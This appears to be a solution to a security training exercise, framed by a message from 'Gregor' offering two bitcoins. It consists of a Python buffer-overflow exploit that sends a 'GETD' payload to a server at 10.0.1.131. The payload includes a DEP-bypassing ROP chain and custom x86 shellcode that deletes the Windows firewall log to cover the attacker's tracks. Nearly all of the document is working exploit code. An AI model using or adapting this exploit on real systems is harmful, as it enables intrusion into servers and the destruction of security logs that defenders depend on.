> *Your last exploit worked well. Now we need you to delete the Windows firewall log on the DNS server. Meterpreter payload won't work, so write something yourself. Deliver it using your last exploit. Get this running and we'll pay you two bitcoins.*
>
> *Gregor*

Submission:

```
#!/usr/bin/python
import sys, socket, struct


shellcode = (

# REMOVE NULL BYTES
"\x33\xc0"                    #XOR EAX, EAX
"\xc7\xc3\x5b\x5e\x56\xef"      #MOV EBX, 0xEF565E5B
"\x81\xc3\x11\x11\x11\x11"      #ADD EBX, 0x11111111
"\x53"                        #PUSH EBX


# PUSH MY PFIREWALL.LOG FILE ON TO THE STACK
"\x68\x61\x6c\x6c\x2e"    #PUSH 0x2e6c6c61
"\x68\x69\x72\x65\x77"    #PUSH 0x77657269
"\x68\x6c\x5c\x70\x66"    #PUSH 0x66705c6c
"\x68\x65\x77\x61\x6c"    #PUSH 0x6c617765
"\x68\x5c\x46\x69\x72"    #PUSH 0x7269465c
"\x68\x69\x6c\x65\x73"    #PUSH 0x73656c69
"\x68\x4c\x6f\x67\x46"    #PUSH 0x46676f4c
"\x68\x6d\x33\x32\x5c"    #PUSH 0x5c32336d
"\x68\x79\x73\x74\x65"    #PUSH 0x65747379
"\x68\x77\x73\x5c\x53"    #PUSH 0x535c7377
"\x68\x69\x6e\x64\x6f"    #PUSH 0x6f646e69
"\x68\x43\x3a\x5c\x57"    #PUSH 0x575c3a43
"\x8b\xdc"                #MOV EBX, ESP



# SET STACK PARAMETERS
"\x53"       #PUSH EBX
```

```
# CALL A FUNCTION TO DELETE THE FILE
"\xc7\xc6\xf0\x73\x9e\x76" #MOV ESI, 0x769E73F0
"\xff\xd6"                 #CALL ESI



# EXIT CLEANLY FROM MY SHELLCODE WITHOUT CRASHING THE SERVER
"\x33\xdb"                  #XOR EBX, EBX = EBX is now 00000000 ?
"\x53"                     #PUSH EBX
"\xc7\xc6\xc0\xb3\xf4\x74"      #MOV ESI
"\xff\xd6"                 #CALL ESI
)




def create_rop_chain():

  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [

    #[---INFO:gadgets_to_set_esi:---]
    0x76138665,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
    0x625070c0,  # ptr to &VirtualProtect() [IAT warrlot.dll]
    0x76331acc,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] ** REBASED **
AS$
    0x7603c5ce,  # XCHG EAX,ESI # RETN [gdi32full.dll] ** REBASED ** ASLR
    #[---INFO:gadgets_to_set_ebp:---]
    0x77be26c0,  # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
    0x77a6c84d,  # & call esp [KERNELBASE.dll] ** REBASED ** ASLR
    #[---INFO:gadgets_to_set_ebx:---]
    0x763a130e,  # POP EAX # RETN [USER32.dll] ** REBASED ** ASLR
    0xfffffdff,  # Value to negate, will become 0x00000201
    0x77bc3697,  # NEG EAX # RETN [ntdll.dll] ** REBASED ** ASLR
    0x76107886,  # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
    #[---INFO:gadgets_to_set_edx:---]
    0x7606ea24,  # POP EAX # RETN [gdi32full.dll] ** REBASED ** ASLR
    0xffffffc0,  # Value to negate, will become 0x00000040
    0x772ec248,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
    0x77b851fa,  # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
    #[---INFO:gadgets_to_set_ecx:---]
    0x77a9290c,  # POP ECX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
    0x745e5e69,  # &Writable location [CRYPTBASE.dll] ** REBASED ** ASLR
    #[---INFO:gadgets_to_set_edi:---]
    0x76139b2d,  # POP EDI # RETN [msvcrt.dll] ** REBASED ** ASLR
    0x7631a14a,  # RETN (ROP NOP) [USER32.dll] ** REBASED ** ASLR
    #[---INFO:gadgets_to_set_eax:---]
    0x77ad8f0b,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
    0x90909090,  # nop
    #[---INFO:pushad:---]
    0x76b76ed4,  # PUSHAD # RETN [GDI32.dll] ** REBASED ** ASLR
  ]

  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

offset = "A" * 2007 + rop_chain + "\x90" * 32 + shellcode

try:

        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('10.0.1.131',1234))
        s.send(('GETD ' + offset))
        s.close()

except:

        print "Error connecting to server"
        sys.exit()
```